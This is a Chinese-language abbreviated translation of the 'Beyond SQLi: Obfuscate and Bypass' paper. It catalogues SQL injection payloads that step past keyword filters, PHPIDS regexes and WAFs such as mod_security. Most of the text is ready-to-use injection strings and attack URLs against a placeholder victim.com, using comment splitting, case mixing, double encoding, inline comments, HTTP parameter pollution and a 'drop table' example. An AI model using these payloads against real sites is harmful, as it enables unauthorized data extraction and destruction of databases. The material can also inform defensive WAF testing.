Beyond SQLi: Obfuscate and Bypass简译

英文原文

绕过函数和关键字过滤

  1. and, or
Filtered injection:    1 or 1 = 1      1 and 1 = 1
Bypassed injection:    1 || 1 = 1      1 && 1 = 1
  1. and, or, union
    PHP filter code: preg_match('/(and|or|union)/i', $id)
    union查询经常用来爆数据,被和谐了之后只能通过布尔方式注入了
Filtered injection: union select user, password from users
Bypassed injection:  1 || (select user from users where user_id = 1) = 'admin'
  1. and, or, union, where
    PHP filter code: preg_match('/(and|or|union|where)/i', $id)
    可以通过limit m,n定位是第几条数据
    其中m是指记录开始的index,从0开始,表示第一条记录,n是指从第m+1条开始,取n条。
Filtered injection:  1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection:  1 || (select user from users limit 1) = 'admin'
  1. and, or, union, where, limit
    PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
`group by`故名思意就是分组,一个id一个组。
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  1. and, or, union, where, limit, group by
    PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
    GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。substr就是截取字符了。
    Beyond SQLi: Obfuscate and Bypass简译_第1张图片
Filtered injection:  1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
  1. and, or, union, where, limit, group by, select
    过滤代码就省略了,跟上面相比多了个select
    into outfile导出结果到指定文件,前提是能够访问的到吧,而且都能这样了还不如直接getshell?
    而且没有了select之后,如果列名不在前面的查询语句的表中就没用了。
Filtered injection:    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection:    1 || 1 = 1 into outfile 'result.txt'
Bypassed injection:    1 || substr(user,1,1) = 'a'
  1. and, or, union, where, limit, group by, select, 单引号
    多了个unhex(),16进制的匹配
Filtered injection:    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection:    1 || user_id is not null
Bypassed injection:    1 || substr(user,1,1) = 0x61
Bypassed injection:    1 || substr(user,1,1) = unhex(61)
  1. and, or, union, where, limit, group by, select, ', hex
    CONV(N,from_base,to_base) 该函数返回值N从from_base到to_base进制转换的字符串。最小基数值是2,最大值为36。
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
  1. and, or, union, where, limit, group by, select, ', hex, substr
    lpad(str,len,padstr) 返回字符串str,左填充用字符串padstr填补到len字符长度。 如果str为大于len长,返回值被缩短至len个字符(即,不能超过 len 长)。
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
  1. and, or, union, where, limit, group by, select, ', hex, substr, 空白符
Filtered injection:    1 || lpad(user,7,1)
Bypassed injection:    1%0b||%0blpad(user,7,1)

绕过正则过滤

PHPIDS 通常会干掉包含了 = or ( or ' 后面跟着数字或字符的例如 1 or 1=1, 1 or '1', 1 or char(97). 然而,it can be bypassed using a statement that does not contain =, ( or ' symbols.
会被干掉的:

1 union select 1, table_name from information_schema.tables where table_name = 'users'
1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)

可以绕过的

1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273

绕过waf

  • 注释符
    http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
  • 大小写
    http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
  • 关键字替换
    http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
    插入空白符
    http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
    ps,如果碰到url重写的话/**/是不能用的
    http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
    要换成%0b
    http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
  • 双重编码
    http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

mod_security

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

绕过
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
我们看看发生了什么
mysql支持三种注释符 #、-- 、/**/,这里还用了%0D%0A进行换行
在waf看来,语句是这样的

            0 div 1 union#foo*/*/bar
            select#foo
            1,2,current_user

在数据库看来,语句是这样的0 div 1 union select 1,2,current_user

  • 缓冲区溢出
    http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141 .)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
  • 内联注释(常见于过狗注入)
    http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
    http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

更高级的绕过方式

  • http参数污染(HTTP Parameter Pollution: Split and Join)
    http://victim.com/search.aspx?par1=val1&par1=val2
    简单的说,对于waf取得值是val1,而对于web服务器取得的值是val2,亦或者是val1,val2的组合

    Web Server Parameter Interpretation Example
    ASP.NET/IIS Concatenation by comma par1=val1,val2
    ASP/IIS Concatenation by comma par1=val1,val2
    PHP/Apache The last param is resulting par1=val2
    JSP/Tomcat The first param is resulting par1=val1
    Perl/Apache The first param is resulting par1=val1
    DBMan Concatenation by two tildes par1=val1~~val2

bypass mod_security

这个url妥妥的会被拦截
http://victim.com/search.aspx?q=select name,password from users
用上参数污染就绕过了
http://victim.com/search.aspx?q=select name&q=password from users
waf眼中是这样的

q=select name
q=password from users

iis眼中却是这样的q=select name,password from users

  • http参数污染2(HTTP Parameter Contamination)
    就是利用web服务器和waf对http请求的认知的差异来绕过waf。

RFC 2396定义了这样的东西
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved: ; / ? : @ & = + $ ,
Unwise: { } | \ ^ [ ] `

Query String Apache/2.2.16, PHP/5.3.3 IIS6/ASP
?test[1=2 test_1=2 test[1=2
?test=% test=% test=
?test%00=1 test=1 test=1
?test=1%001 NULL test=1
?test+d=1+2 test_d=1 2 test d=1 2
Keywords WAF ASP/ASP.NET
sele%ct * fr%om.. sele%ct * fr%om.. select * from..
;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx

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